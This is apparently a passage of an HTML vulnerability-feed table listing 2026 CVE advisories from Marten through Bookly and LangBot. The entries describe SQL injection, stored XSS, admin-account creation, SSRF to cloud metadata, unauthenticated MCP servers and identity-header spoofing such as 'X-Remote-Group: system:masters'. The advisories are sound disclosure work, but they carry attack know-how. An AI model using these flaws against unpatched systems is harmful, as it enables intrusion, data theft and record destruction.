&lt;td class=&quot;vendor-product&quot;&gt;JasperFx--marten&lt;/td&gt;
&lt;td&gt;Marten is a .NET Transactional Document DB and Event Store on PostgreSQL. From version 7.0.0 until 9.13.0, several Marten LINQ and tenant-management paths interpolate runtime, potentially attacker-controlled strings into single-quoted SQL literals without escaping or parameterization. The primary confirmed vector is a dictionary indexer key used by Where filters in src/Marten/Linq/Members/Dictionaries/DictionaryItemMember.cs. Additional affected sinks include SelectParser.cs, DatabaseScopedTenantPartitions.cs, and DeleteAllForTenant.cs reached through IEventStore.DeleteProjectionProgressAsync, while DictionaryContainsKeyFilter.cs (Newtonsoft serializer only; System.Text.Json is not affected) handles ContainsKey calls. Events/Daemon/Internals/EventLoader.cs contains a related per-tenant partition-pruning literal that the advisory identifies as a defense-in-depth sink. A crafted single quote can escape the generated literal, enabling filter or multi-tenant authorization bypass and blind data exfiltration, and deployments that permit semicolon-batched Npgsql statements may also allow data modification. This issue is fixed in version 9.13.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75513&quot; target=&quot;_blank&quot;&gt;CVE-2026-75513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jegtheme--Jeg Kit for Elementor Powerful Addons for Elementor, Widgets &amp;amp; Templates for WordPress&lt;/td&gt;
&lt;td&gt;The Jeg Kit for Elementor - Powerful Addons for Elementor, Widgets &amp;amp; Templates for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content in all versions up to, and including, 3.2.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires that the targeted post also renders a legitimate Jeg Kit Countdown widget, which causes the countdown frontend script to be enqueued and to initialize on any matching DOM element - including forged widget markup stored in comments.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18405&quot; target=&quot;_blank&quot;&gt;CVE-2026-18405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jetmonsters--JetFormBuilder Dynamic Blocks Form Builder&lt;/td&gt;
&lt;td&gt;The JetFormBuilder - Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.6.2. This is due to the plugin not validating that a submitted form ID belongs to a JetFormBuilder form before parsing the referenced post&#039;s content as form schema and executing an Advanced Validation server-side callback. This makes it possible for unauthenticated attackers to create a new administrator-level user account.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12793&quot; target=&quot;_blank&quot;&gt;CVE-2026-12793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jetmonsters--MotoPress Hotel Booking&lt;/td&gt;
&lt;td&gt;The MotoPress Hotel Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Stripe Webhook event object &#039;id&#039; in all versions up to, and including, 6.2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The premium Stripe webhook listener only verifies the webhook signature when an optional Stripe signing secret has been configured; because that secret is empty by default, a forged webhook is accepted without cryptographic verification, and the attacker-controlled event object &#039;id&#039; (e.g. a forged &#039;refund.created&#039; refund id) is written unescaped into the payment log and later echoed unsanitized when an administrator views the payment. An attacker must know a valid Stripe PaymentIntent ID for an existing payment to route the forged webhook to a payment record. Note: The vulnerable webhook handler (webhook-listener.php) is part of the premium Stripe gateway integration and is not present in the lite plugin directory.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90650&quot; target=&quot;_blank&quot;&gt;CVE-2026-90650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jhb-software--payload-plugins&lt;/td&gt;
&lt;td&gt;Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58200&quot; target=&quot;_blank&quot;&gt;CVE-2026-58200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jhb-software--payload-plugins&lt;/td&gt;
&lt;td&gt;Payload Plugins is a collection of plugins designed to enhance Payload CMS. In 0.7.0, @jhb.software/payload-alt-text-plugin exposes POST /api/alt-text-plugin/generate and POST /api/alt-text-plugin/bulk with a default guard that accepts any authenticated user, while alt-text/src/endpoints/generateAltText.ts and alt-text/src/endpoints/bulkGenerateAltTexts.ts call req.payload.findByID and req.payload.update without overrideAccess: false. Payload therefore defaults overrideAccess to true and skips the target collection&#039;s read and update access functions. An authenticated low-privilege user can supply id, collection, locale, and update values to read arbitrary protected upload documents and overwrite their alt and keywords fields, even when the collection permits those operations only to administrators. A control Local API call with overrideAccess: false is denied, confirming that the plugin endpoint bypasses otherwise effective collection rules. This vulnerability is fixed in 0.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59965&quot; target=&quot;_blank&quot;&gt;CVE-2026-59965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jimprosser--obsidian-web-mcp&lt;/td&gt;
&lt;td&gt;Obsidian Web MCP is a secure remote MCP server for Obsidian vaults. Prior to 0.2.0, /oauth/authorize issues an authorization code without a login, consent, or session check, and /oauth/token can exchange that code for the static VAULT_MCP_TOKEN without authenticating a client. An unauthenticated remote caller who can reach the intended tunnel deployment can therefore call /mcp and use vault_read, vault_write, vault_search, vault_list, vault_move, and vault_delete against the entire vault. Optional PKCE does not prevent an attacker-initiated flow, and unauthenticated /oauth/register also exposes a client_credentials path by returning the configured VAULT_OAUTH_CLIENT_SECRET. This issue is fixed in version 0.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54618&quot; target=&quot;_blank&quot;&gt;CVE-2026-54618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jitsi--@jitsi/electron-sdk&lt;/td&gt;
&lt;td&gt;@jitsi/electron-sdk before 10.0.5 exposes getDesktopSources() via contextBridge without requiring an active getDisplayMedia() picker, allowing any script in the meeting page to enumerate screens and windows. Attackers can call the jitsi-screen-sharing-get-sources IPC route to retrieve desktop thumbnails at arbitrary resolution without user consent or operating system permission prompts.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92299&quot; target=&quot;_blank&quot;&gt;CVE-2026-92299&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jm33-m0--emp3r0r&lt;/td&gt;
&lt;td&gt;emp3r0r is a C2 designed by Linux users for Linux environments. Prior to version 4.2.5, the `http_poll` C2 transport accepts attacker-controlled HTTP polling sessions before CBOR `MsgAuth` authentication is completed. A remote unauthenticated attacker can create arbitrary polling sessions and send request bodies that are forwarded into the C2 dispatch path. This can consume server resources and trigger pre-auth C2 processing. Version 4.2.5 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61554&quot; target=&quot;_blank&quot;&gt;CVE-2026-61554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joaonuno--flat-to-nested-js&lt;/td&gt;
&lt;td&gt;flat-to-nested converts a hierarchy from a flat representation to a nested representation. Prior to 1.1.2, FlatToNested.prototype.convert in index.js uses attacker-influenced id and parent record fields directly as keys in the plain temp and pendingChildOf objects. When parent or id is __proto__, temp[parent] can resolve to Object.prototype, and initPush() can write attacker-controlled data to the global children prototype property while existing prototype methods remain intact. Any application that passes attacker-influenced flat records to convert() can therefore expose unrelated objects to polluted inherited state, causing application-logic corruption or denial of service and potentially enabling greater impact when a downstream prototype-pollution gadget is present. The constructor and prototype strings are also unsafe inherited-key values in the same lookup design. This issue is fixed in version 1.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55091&quot; target=&quot;_blank&quot;&gt;CVE-2026-55091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joni1802--ts3-manager&lt;/td&gt;
&lt;td&gt;TS3 Manager is modern web interface for maintaining Teamspeak3 servers. Prior to 2.2.6, the /api/download handler in packages/server/routes/api.js passes the attacker-controlled port query parameter to socket.connect(port, host) and returns the resulting error.message through res.status(400).send(error.message) as text/html without a Content Security Policy. When a logged-in operator follows a crafted top-level link, the reflected value executes in the manager origin. The token cookie set in packages/ui/src/store/modules/query.js lacks HttpOnly, Secure, and an explicit SameSite attribute, allowing the script to read the token and call the autofillform event in packages/server/socket.js. autofillform returns the decoded JWT, including the cleartext ServerQuery password, enabling operator-session hijacking and control of the managed TeamSpeak server when the operator uses administrative ServerQuery credentials. A valid operator session and user interaction are required. This issue is fixed in 2.2.6.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54253&quot; target=&quot;_blank&quot;&gt;CVE-2026-54253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jugmac00--flask-reuploaded&lt;/td&gt;
&lt;td&gt;Flask-Reuploaded provides file uploads for Flask. From 1.5.0 until 1.6.0, UploadSet.save(storage, name=...) in src/flask_uploads/flask_uploads.py applies lowercase_ext to the default upload path but uses the case-preserving extension helper for a caller-supplied name before extension_allowed evaluates an AllExcept denylist. An attacker who controls the name override can use a mixed-case dangerous extension to bypass a lowercase denylist and store the file in the served upload directory. Exploitation requires a denylist configuration, a user-influenced name override, and a deployment that resolves or executes extensions case-insensitively; pure allowlists remain protected and path containment is not bypassed. On an execution-capable upload directory, the stored file can execute with the web server&#039;s privileges and affect confidentiality, integrity, and availability. This issue is fixed in version 1.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54567&quot; target=&quot;_blank&quot;&gt;CVE-2026-54567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;julien040--anyquery&lt;/td&gt;
&lt;td&gt;Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, authenticated users with INSERT or UPDATE access to affected macOS virtual tables can execute operating-system commands because the Chrome plugin and equivalent Brave, Edge, and Safari variants interpolate a SQL-controlled URL into AppleScript or JXA source passed to osascript. In plugins/chrome/tabs.go, tabsTable.Insert() passes the URL through fmt.Sprintf(newTabScript, url), and tabsTable.Update() uses fmt.Sprintf(setURLScript, pk, url). A URL containing quote and newline characters can break out of the intended string or property record and append script statements, resulting in arbitrary command execution with the privileges of the anyquery process on the macOS host. This issue is fixed in version 0.4.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47252&quot; target=&quot;_blank&quot;&gt;CVE-2026-47252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;julien040--anyquery&lt;/td&gt;
&lt;td&gt;Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, anyquery server forwards unauthenticated SQL from its MySQL-compatible server port to SQLite without restricting ATTACH DATABASE filesystem targets. A remote attacker can select any path writable by the Anyquery server process, cause SQLite to create a database file there, and place attacker-controlled table content in that file. This permits arbitrary file creation or overwrite, causing filesystem integrity loss and denial of service; remote code execution is possible only when another service interprets the written file or the process has a suitably privileged writable target. This issue is fixed in version 0.4.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50006&quot; target=&quot;_blank&quot;&gt;CVE-2026-50006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;julien040--anyquery&lt;/td&gt;
&lt;td&gt;Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, anyquery server exposes URL-capable SQLite virtual table modules such as json_reader and log_reader through its unauthenticated MySQL-compatible server port without restricting outbound destinations. A remote attacker can provide a loopback, private-network, or link-local cloud metadata URL, causing go-getter in the Anyquery server process to fetch the selected resource and expose its response as queryable table data. This permits internal network probing, access to internal APIs, and disclosure of cloud credentials; low-integrity impact is possible when a reached internal API performs state-changing actions. This issue is fixed in version 0.4.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54628&quot; target=&quot;_blank&quot;&gt;CVE-2026-54628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;julien040--anyquery&lt;/td&gt;
&lt;td&gt;Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, the clear_plugin_cache(plugin) SQL scalar function in namespace/other_functions.go passes the caller-controlled plugin parameter through path.Join to os.RemoveAll without rejecting traversal segments. A low-privileged bearer-token holder can invoke the function through the /v1/query HTTP endpoint, causing path.Join to resolve .. segments outside $XDG_CACHE_HOME/anyquery/plugins/ and os.RemoveAll to recursively delete any reachable directory writable by the Anyquery server process. This causes permanent data loss and denial of service without disclosing file contents. This issue is fixed in version 0.4.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47253&quot; target=&quot;_blank&quot;&gt;CVE-2026-47253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;julien040--anyquery&lt;/td&gt;
&lt;td&gt;Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, anyquery server exposes file-backed SQLite virtual table modules such as csv_reader and log_reader through its MySQL-compatible server port without authentication, authorization, or directory restrictions. A remote attacker can use SQLite CREATE VIRTUAL TABLE statements to provide a local path to these modules, which use hashicorp/go-getter under the Anyquery server process and return the selected file contents as queryable table rows. The disclosure is limited only by the filesystem permissions of the server process and can expose system configuration, credentials, and private keys. This issue is fixed in version 0.4.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54629&quot; target=&quot;_blank&quot;&gt;CVE-2026-54629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jupyter-server--jupyter_server&lt;/td&gt;
&lt;td&gt;Jupyter Server is the backend for Jupyter web applications. Prior to version 2.21.0, the 5xx request logging path in jupyter_server/log.py copies the Referer header into a JSON header block without applying the token scrubbing used for the request URI. A request that returns HTTP 500 while the Referer contains a token-bearing URL can therefore write that token to server logs in plaintext. An attacker who can read those logs can recover the token and use the affected user&#039;s Jupyter Server permissions. This issue is fixed in version 2.21.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86049&quot; target=&quot;_blank&quot;&gt;CVE-2026-86049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kamailio--Kamailio&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Kamailio up to 5.8.8/6.0.7/6.1.4/6.2.0-dev1. The impacted element is the function shm_malloc of the file src/modules/cdp/receiver.c of the component CDP Diameter Receiver. Executing a manipulation can lead to heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 6.0.8 is sufficient to resolve this issue. This patch is called 38711a3e788de0130d48cb485578c482b57d9351/4f62235b6f477b649c5cc18b0c81b4e26c949b98/4f62235b6f477b649c5cc18b0c81b4e26c949b98. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93962&quot; target=&quot;_blank&quot;&gt;CVE-2026-93962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kcp-dev--kcp&lt;/td&gt;
&lt;td&gt;kcp is a Kubernetes-like control plane for form-factors and use-cases beyond Kubernetes and container workloads. Prior to 0.31.4 and 0.32.2, the kcp front-proxy does not remove inbound X-Remote-User, X-Remote-Group, or X-Remote-Extra-* identity headers before forwarding requests to shards. Any authenticated tenant can inject X-Remote-Group: system:masters, authorization.kcp.io/warrant, authentication.kcp.io/scopes, or a group used for per-workspace required-group gating, and the shard trusts these values as authenticated identity assertions. This allows cross-workspace impersonation, authorization bypass, and arbitrary reading, writing, or deletion of resources, secrets, RBAC data, APIExports, APIBindings, and LogicalClusters. This issue is fixed in versions 0.31.4 and 0.32.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61682&quot; target=&quot;_blank&quot;&gt;CVE-2026-61682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Keycloak--Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in Keycloak. When deployed in stateless mode with MySQL or MariaDB, a mismatch in row-count semantics between the database driver and Keycloak&#039;s application logic allows an attacker to bypass replay protection. This vulnerability enables an attacker who intercepts single-use security artifacts, such as JWT client assertions, DPoP proofs, or one-time password (TOTP) codes, to replay them. Successful exploitation grants unauthorized access to the token endpoint or login flow.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90997&quot; target=&quot;_blank&quot;&gt;CVE-2026-90997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kornelski--http-cache-semantics&lt;/td&gt;
&lt;td&gt;http-cache-semantics through 4.2.0 fails to properly validate security-zeroed cache entries when processing client max-stale directives, allowing unauthenticated attackers to retrieve cached responses belonging to other users. Attackers can request the same URL with a large max-stale value to obtain another user&#039;s Set-Cookie session credentials from shared-cache entries that were deliberately zeroed for security reasons.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93748&quot; target=&quot;_blank&quot;&gt;CVE-2026-93748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;Krayin CRM through 2.2.6 exposes the POST /admin/mail/inbound-parse endpoint without authentication, allowing unauthenticated attackers to inject arbitrary emails into the CRM inbox. Attackers can supply crafted RFC 2822 messages with forged sender information and headers to insert emails with any subject and body, including replies to existing conversation threads.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90944&quot; target=&quot;_blank&quot;&gt;CVE-2026-90944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kubero-dev--kubero&lt;/td&gt;
&lt;td&gt;Kubero through 3.1.1 fails to apply authentication guards to the notifications API endpoints, allowing unauthenticated attackers to read webhook secrets and service URLs. Attackers can retrieve stored credentials and register malicious webhooks to intercept pipeline events or suppress alerting by deleting existing configurations.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92720&quot; target=&quot;_blank&quot;&gt;CVE-2026-92720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kubesphere--kubesphere&lt;/td&gt;
&lt;td&gt;KubeSphere through 4.1.3 contains a server-side request forgery vulnerability in the git credential verification endpoint that accepts unvalidated caller-supplied URLs without allowlist restrictions. Authenticated attackers can supply arbitrary URLs to reach internal services and exfiltrate basic-auth credentials from Secrets in any namespace by leveraging the endpoint&#039;s error response handling.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91923&quot; target=&quot;_blank&quot;&gt;CVE-2026-91923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LabRedesCefetRJ--WeGIA&lt;/td&gt;
&lt;td&gt;WeGIA is a web manager for charitable institutions. Prior to 3.8.5, the contribution request dispatcher in web/html/contribuicao/controller/control.php accepts attacker-controlled nomeClasse and metodo values without a complete controller and method allowlist, exempts sensitive ContribuicaoLogController operations from authentication, and constructs a controller include path without canonical directory containment. An unauthenticated remote attacker can invoke getContribuicoesLogJSON, sincronizarStatus, registrarFaturas, and other sensitive methods to disclose contribution and donation records or trigger financial workflow operations. A traversal-shaped nomeClasse value can also cause require_once to include an accessible PHP or configuration file outside the intended controller directory, exposing source code, credentials, or other sensitive local data. This issue is fixed in version 3.8.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54670&quot; target=&quot;_blank&quot;&gt;CVE-2026-54670&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LabRedesCefetRJ--WeGIA&lt;/td&gt;
&lt;td&gt;WeGIA is a web manager for charitable institutions. Prior to 3.8.5, web/html/socio/sistema/controller/deletar_socios.php exposes an unauthenticated GET endpoint whose chave parameter is checked only against a hardcoded chave_correta value embedded in the public source repository. A remote attacker who obtains that value can reach the endpoint&#039;s TRUNCATE TABLE operations for the endereco, pessoafisica, pessoajuridica, and socio tables without an administrative session or application authorization, permanently destroying member and contributor records. The attack requires the affected tables to exist and the web process database account to possess truncation privileges. This issue is fixed in version 3.8.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54767&quot; target=&quot;_blank&quot;&gt;CVE-2026-54767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LabRedesCefetRJ--WeGIA&lt;/td&gt;
&lt;td&gt;WeGIA is a web manager for charitable institutions. Prior to 3.8.5, WeGIA maps InternoControle to an empty resource array in web/controle/control.php, and verificarPermissao in web/dao/MiddlewareDAO.php treats that empty array as unconditional access for every authenticated user. The methods in web/controle/InternoControle.php, including listarUm, alterar, and excluir, accept user-controlled id or idInterno values without verifying ownership, allowing a low-privileged user to read, modify, or delete another person&#039;s records and expose personal, identity, address, medical, and family information. The advisory notes that a self-referencing load bug can crash this controller in the reported revision, but the empty-resource authorization pattern and affected methods remain the vulnerability under review. This issue is fixed in version 3.8.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54671&quot; target=&quot;_blank&quot;&gt;CVE-2026-54671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Labs64--NetLicensing-MCP&lt;/td&gt;
&lt;td&gt;NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.6, network-reachable HTTP transport requests to /mcp that omit x-netlicensing-api-key, Authorization: Bearer, and the apikey query parameter pass through ApiKeyMiddleware in src/netlicensing_mcp/server.py without authentication. The downstream api_key_ctx in src/netlicensing_mcp/client.py then falls back to the operator&#039;s NETLICENSING_API_KEY and authenticates upstream NetLicensing REST API calls under the operator account. An unauthenticated attacker can invoke MCP tools to enumerate products, licenses, licensees, and transactions, create or modify licensing objects, perform validations, and execute destructive delete operations. The issue affects HTTP deployments configured with a server-side key and does not require user interaction. This issue is fixed in version 0.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54446&quot; target=&quot;_blank&quot;&gt;CVE-2026-54446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ladela--Online Scheduling and Appointment Booking System Bookly&lt;/td&gt;
&lt;td&gt;The Online Scheduling and Appointment Booking System - Bookly plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 28.1 via the &#039;conversation_id&#039; parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to read the full AI booking conversation transcript of any customer - leaking names, email addresses, phone numbers, and appointment details echoed by the assistant - and inject arbitrary messages into any victim conversation that are subsequently replayed to the Cloud AI worker along with the full private history. Because AI conversations are stored with no owner, user, or session identifier and conversation IDs are sequential integers, an unauthenticated attacker can enumerate all customer conversations simply by incrementing the conversation_id parameter.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89063&quot; target=&quot;_blank&quot;&gt;CVE-2026-89063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;langbot-app--LangBot&lt;/td&gt;
